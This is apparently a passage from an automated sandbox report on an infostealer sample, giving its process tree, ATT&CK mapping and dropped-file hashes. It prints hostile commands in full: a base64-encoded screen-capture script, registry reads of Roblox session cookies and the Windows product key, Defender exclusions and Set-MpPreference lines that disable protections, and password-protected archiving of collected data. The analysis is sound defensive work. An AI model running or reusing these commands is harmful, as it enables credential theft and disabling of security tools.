AAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2812
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b23cs1qv\b23cs1qv.cmdline"
                      7⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2280
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF75.tmp" "c:\Users\Admin\AppData\Local\Temp\b23cs1qv\CSC16AB014F1DE486D84BD3531E3269B72.TMP"
                        8⤵
                          PID:2756
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    5⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2388
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      6⤵
                        PID:4288
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      5⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:5992
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        6⤵
                          PID:2600
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        5⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3388
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          6⤵
                            PID:4416
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          5⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:828
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            6⤵
                              PID:1972
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            5⤵
                            • Executes a command shell one-liner
                            PID:5996
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              6⤵
                                PID:1984
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "getmac"
                              5⤵
                              • Executes a command shell one-liner
                              PID:3436
                              • C:\Windows\system32\getmac.exe
                                getmac
                                6⤵
                                  PID:5732
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                5⤵
                                • Executes a command shell one-liner
                                PID:3216
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                  6⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:1488
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                5⤵
                                • Executes a command shell one-liner
                                PID:1924
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  6⤵
                                    PID:4472
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                    6⤵
                                      PID:5960
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI33802\rar.exe a -r -hp"blank100" "C:\Users\Admin\AppData\Local\Temp\w7CPb.zip" *"
                                    5⤵
                                    • Executes a command shell one-liner
                                    PID:2600
                                    • C:\Users\Admin\AppData\Local\Temp\_MEI33802\rar.exe
                                      C:\Users\Admin\AppData\Local\Temp\_MEI33802\rar.exe a -r -hp"blank100" "C:\Users\Admin\AppData\Local\Temp\w7CPb.zip" *
                                      6⤵
                                      • Executes dropped EXE
                                      PID:3944
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                    5⤵
                                    • Executes a command shell one-liner
                                    PID:4228
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic os get Caption
                                      6⤵
                                        PID:3168
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                      5⤵
                                      • Executes a command shell one-liner
                                      PID:3544
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic computersystem get totalphysicalmemory
                                        6⤵
                                          PID:3328
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                        5⤵
                                        • Executes a command shell one-liner
                                        PID:2016
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic csproduct get uuid
                                          6⤵
                                            PID:672
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                          5⤵
                                          • Executes a command shell one-liner
                                          PID:3848
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                            6⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            PID:4788
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                          5⤵
                                          • Executes a command shell one-liner
                                          PID:3432
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic path win32_VideoController get name
                                            6⤵
                                            • Detects videocard installed
                                            PID:4756
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                          5⤵
                                          • Executes a command shell one-liner
                                          PID:4168
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                            6⤵
                                              PID:5928
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WindowsUpdateSys.exe'
                                        3⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2208
                                      • C:\Users\Admin\AppData\Local\Temp\WindowsUpdateSys.exe
                                        "C:\Users\Admin\AppData\Local\Temp\WindowsUpdateSys.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        PID:4176
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WindowsUpdateSys.exe'
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:3536
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Disables one or more Microsoft Defender components
                                          • Disables automatic submission of suspicious files to Microsoft by Windows Defender
                                          PID:4444
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:3284
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                          4⤵
                                            PID:2176
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              5⤵
                                                PID:4416
                                            • C:\Windows\System32\Wbem\wmic.exe
                                              "wmic.exe" os get Caption
                                              4⤵
                                                PID:3060
                                              • C:\Windows\System32\Wbem\wmic.exe
                                                "wmic.exe" computersystem get totalphysicalmemory
                                                4⤵
                                                  PID:1984
                                                • C:\Windows\System32\Wbem\wmic.exe
                                                  "wmic.exe" csproduct get uuid
                                                  4⤵
                                                    PID:2432
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                    4⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    PID:1900
                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                    "wmic" path win32_VideoController get name
                                                    4⤵
                                                    • Detects videocard installed
                                                    PID:3152
                                            • C:\Windows\Web\SmartScreen.exe
                                              C:\Windows\Web\SmartScreen.exe
                                              1⤵
                                              • Modifies WinLogon for persistence
                                              • Executes dropped EXE
                                              • Drops file in System32 directory
                                              • Drops file in Windows directory
                                              PID:5400
                                            • C:\Windows\System32\winIogon.exe
                                              C:\Windows\System32\winIogon.exe
                                              1⤵
                                              • Modifies WinLogon for persistence
                                              • Executes dropped EXE
                                              • Drops file in System32 directory
                                              • Drops file in Windows directory
                                              PID:600
                                            • C:\Users\Admin\AppData\Roaming\Microsoft\OneDriveSetup.exe
                                              C:\Users\Admin\AppData\Roaming\Microsoft\OneDriveSetup.exe
                                              1⤵
                                              • Modifies WinLogon for persistence
                                              • Executes dropped EXE
                                              PID:3316
                                              • C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe
                                                "C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe"
                                                2⤵
                                                • Executes dropped EXE
                                                PID:3552
                                            • C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe
                                              C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe
                                              1⤵
                                              • Executes dropped EXE
                                              PID:3480
                                            • C:\Windows\System32\winIogon.exe
                                              "C:\Windows\System32\winIogon.exe"
                                              1⤵
                                              • Executes dropped EXE
                                              • Drops file in System32 directory
                                              • Drops file in Windows directory
                                              PID:5484
                                            • C:\Windows\System32\winIogon.exe
                                              "C:\Windows\System32\winIogon.exe"
                                              1⤵
                                              • Executes dropped EXE
                                              • Drops file in System32 directory
                                              • Drops file in Windows directory
                                              PID:4756

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Reconnaissance

                                                  Resource Development

                                                  Initial Access

                                                  Execution

                                                  Command and Scripting Interpreter

                                                  3
                                                  T1059

                                                  PowerShell

                                                  1
                                                  T1059.001

                                                  Windows Command Shell

                                                  1
                                                  T1059.003

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Scheduled Task

                                                  1
                                                  T1053.005

                                                  Persistence

                                                  Boot or Logon Autostart Execution

                                                  2
                                                  T1547

                                                  Registry Run Keys / Startup Folder

                                                  1
                                                  T1547.001

                                                  Winlogon Helper DLL

                                                  1
                                                  T1547.004

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Netsh Helper DLL

                                                  1
                                                  T1546.007

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Scheduled Task

                                                  1
                                                  T1053.005

                                                  Privilege Escalation

                                                  Boot or Logon Autostart Execution

                                                  2
                                                  T1547

                                                  Registry Run Keys / Startup Folder

                                                  1
                                                  T1547.001

                                                  Winlogon Helper DLL

                                                  1
                                                  T1547.004

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Netsh Helper DLL

                                                  1
                                                  T1546.007

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Scheduled Task

                                                  1
                                                  T1053.005

                                                  Defense Evasion

                                                  Impair Defenses

                                                  3
                                                  T1562

                                                  Disable or Modify Tools

                                                  2
                                                  T1562.001

                                                  Modify Registry

                                                  2
                                                  T1112

                                                  Obfuscated Files or Information

                                                  1
                                                  T1027

                                                  Command Obfuscation

                                                  1
                                                  T1027.010

                                                  Credential Access

                                                  Credentials from Password Stores

                                                  2
                                                  T1555

                                                  Credentials from Web Browsers

                                                  1
                                                  T1555.003

                                                  Windows Credential Manager

                                                  1
                                                  T1555.004

                                                  Unsecured Credentials

                                                  2
                                                  T1552

                                                  Credentials In Files

                                                  1
                                                  T1552.001

                                                  Credentials in Registry

                                                  1
                                                  T1552.002

                                                  Discovery

                                                  Browser Information Discovery

                                                  1
                                                  T1217

                                                  Process Discovery

                                                  1
                                                  T1057

                                                  Query Registry

                                                  3
                                                  T1012

                                                  System Information Discovery

                                                  4
                                                  T1082

                                                  System Network Configuration Discovery

                                                  2
                                                  T1016

                                                  Internet Connection Discovery

                                                  1
                                                  T1016.001

                                                  Wi-Fi Discovery

                                                  1
                                                  T1016.002

                                                  Lateral Movement

                                                  Collection

                                                  Clipboard Data

                                                  1
                                                  T1115

                                                  Data from Local System

                                                  2
                                                  T1005

                                                  Email Collection

                                                  1
                                                  T1114

                                                  Command and Control

                                                  Web Service

                                                  1
                                                  T1102

                                                  Exfiltration

                                                  Impact

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  StartupProfileData-NonInteractive
                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 1KB
                                                  • SHA256 dc4ebf4baa7b27ac79e1e8787c84c5adaaaad1ec2f83eaf97b5e28040afcf03b
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  StartupProfileData-NonInteractive
                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 1KB
                                                  • SHA256 ab9829ddb07dbccabcb77330c8f313ae55aa78954c71f925499561962b18e71a
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  StartupProfileData-NonInteractive
                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 1KB
                                                  • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  StartupProfileData-NonInteractive
                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 1KB
                                                  • SHA256 168454fbd10bd6c316787e0630eccd8473426abab36526d9269a91f4bb86727e
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  StartupProfileData-NonInteractive
                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                  • Size 1KB
                                                  • SHA256 99a5a863f82d412cb158c0273d2d358f0b00d6b30e8961c2e2eabd4e1e0a34f8
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  Syssms.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\Syssms.exe
                                                  • Size 10.5MB
                                                  • SHA256 f16fe906586d42617ee551df877aff696998b8bf97625e083d6fb8d9f77c0434
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  WindowsSecurityHealth.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\WindowsSecurityHealth.exe
                                                  • Size 246KB
                                                  • SHA256 7c6a4d839da40d2a8533fc17cc53fbd843efe568c2b280c780dc01d81af22277
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  WindowsSecurityService.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe
                                                  • Size 364KB
                                                  • SHA256 48f27defb48bc094ec75da47d0d2292f445d3d10e39696d615bf2a951c2504d4
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  WindowsUpdateService.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\WindowsUpdateService.exe
                                                  • Size 535KB
                                                  • SHA256 8cd1859f7123492b2859e48a3ea2c29018b0a1abf9c0981358d3f7a1389c463f
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  WindowsUpdateSys.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\WindowsUpdateSys.exe
                                                  • Size 227KB
                                                  • SHA256 7b68e9aa2a372e1ce2eb41f3fd4e62fa05945b5b58a624d3364fda448ca8e7e7
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  VCRUNTIME140.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\VCRUNTIME140.dll
                                                  • Size 117KB
                                                  • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  VCRUNTIME140_1.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\VCRUNTIME140_1.dll
                                                  • Size 48KB
                                                  • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _bz2.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_bz2.pyd
                                                  • Size 51KB
                                                  • SHA256 31bbbd635917ffc659a59b22d32fa0943edb0d52c07b1a4db02361e63f5c7f70
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _ctypes.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_ctypes.pyd
                                                  • Size 67KB
                                                  • SHA256 1b1d2ed69e1553c43d211718bf6d22c7c145544bb6f06fc47257f75b6295968b
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _hashlib.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_hashlib.pyd
                                                  • Size 38KB
                                                  • SHA256 c8e4b1192e1d0471dc985b0427001ae63f2a833fe5c44ceee52e6913f10e8b8f
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _lzma.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_lzma.pyd
                                                  • Size 88KB
                                                  • SHA256 eac919e74adf32313ab00ee563c0bff042aadef6418be0b2b16bbfdb1a67add8
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _queue.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_queue.pyd
                                                  • Size 28KB
                                                  • SHA256 ef2c488ec5d544b217a4efdb02e699610333e6cab146084db418d9b5c7e143fa
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _socket.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_socket.pyd
                                                  • Size 46KB
                                                  • SHA256 b4de3cbb5096a2845398989269bb4dc6924b720e4c999e9458608864f2b0cf4a
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _sqlite3.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_sqlite3.pyd
                                                  • Size 61KB
                                                  • SHA256 cffdf0710c1a935043b10af50374bb01aceb71609ecdad2498cecee69fbd7ded
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _ssl.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_ssl.pyd
                                                  • Size 69KB
                                                  • SHA256 6dc920a676cfcd97ff95c90c5890930d245f8cf298d48177fc4a206cf0c8f76c
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _wmi.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_wmi.pyd
                                                  • Size 30KB
                                                  • SHA256 e8a04aff683766570dae911bfc19ec31cb2bb97a9e10bdee78d9d60c98198923
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  _zstd.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\_zstd.pyd
                                                  • Size 176KB
                                                  • SHA256 63c5e33d54f99d74219a09743a87904926fdd75e013ca23abc5ca04683842fd0
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  base_library.zip
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\base_library.zip
                                                  • Size 1.3MB
                                                  • SHA256 e0bf5d17ce41c523109ccfed7ee91ebcd3f4f2189bcbadd46b2810faaefe5539
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  blank.aes
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\blank.aes
                                                  • Size 92KB
                                                  • SHA256 df326ee575fd3ab235fe4865c22b6314093b6753c264d31e3932d6ad5c062481
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  libcrypto-3.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\libcrypto-3.dll
                                                  • Size 1.6MB
                                                  • SHA256 5fdac609f40e3676cd6e7450f2a440934e47e89be0ee125307488ec647295739
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  libffi-8.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\libffi-8.dll
                                                  • Size 29KB
                                                  • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  libssl-3.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\libssl-3.dll
                                                  • Size 369KB
                                                  • SHA256 151d841ce73d817ee966a20393f1d4a63197cb2d62ffe6c75aac1674051217d7
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  python314.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\python314.dll
                                                  • Size 1.9MB
                                                  • SHA256 db6ce6906d8f9c758d3ad3411198d867dcc300ebca3b51fba487f9725082707f
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  select.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\select.pyd
                                                  • Size 28KB
                                                  • SHA256 092dc7a764d800c088091d5da4fa38802ee29a875551c949e2eafde75047ea9d
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  Lorem ipsum.txt
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                                                  • Size 1KB
                                                  • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  sqlite3.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\sqlite3.dll
                                                  • Size 663KB
                                                  • SHA256 dcd24a28b0064b3df0b065ecc6c41a5d2c75522b3776526598d022428172a116
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  unicodedata.pyd
                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI33802\unicodedata.pyd
                                                  • Size 277KB
                                                  • SHA256 af117c8d84fd18da9e5d73f27c429717254a0fec3af56f971861f97a6710e7a4
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  __PSScriptPolicyTest_nrynpsyn.flb.ps1
                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nrynpsyn.flb.ps1
                                                  • Size 60B
                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  tmp2EF6.tmp.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\tmp2EF6.tmp.exe
                                                  • Size 10.9MB
                                                  • SHA256 3e67fc1cccc6edff4af57c90859d99586a9a1e4096ff59fe0ce70f7962f22fee
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  memory/700-425-0x000001E4F7B00000-0x000001E4F7B50000-memory.dmp
                                                  Download

                                                  memory/700-427-0x000001E4F7AB0000-0x000001E4F7AC2000-memory.dmp
                                                  Download

                                                  memory/700-92-0x000001E4DD0B0000-0x000001E4DD0F2000-memory.dmp
                                                  Download

                                                  memory/1128-32-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
                                                  Download

                                                  memory/1128-52-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
                                                  Download

                                                  memory/1128-40-0x0000026CA9E90000-0x0000026CA9EAE000-memory.dmp
                                                  Download

                                                  memory/1128-42-0x0000026CA9EB0000-0x0000026CA9EBA000-memory.dmp
                                                  Download

                                                  memory/1128-37-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
                                                  Download

                                                  memory/1128-36-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
                                                  Download

                                                  memory/1128-35-0x0000026C91820000-0x0000026C91842000-memory.dmp
                                                  Download

                                                  memory/1128-45-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
                                                  Download

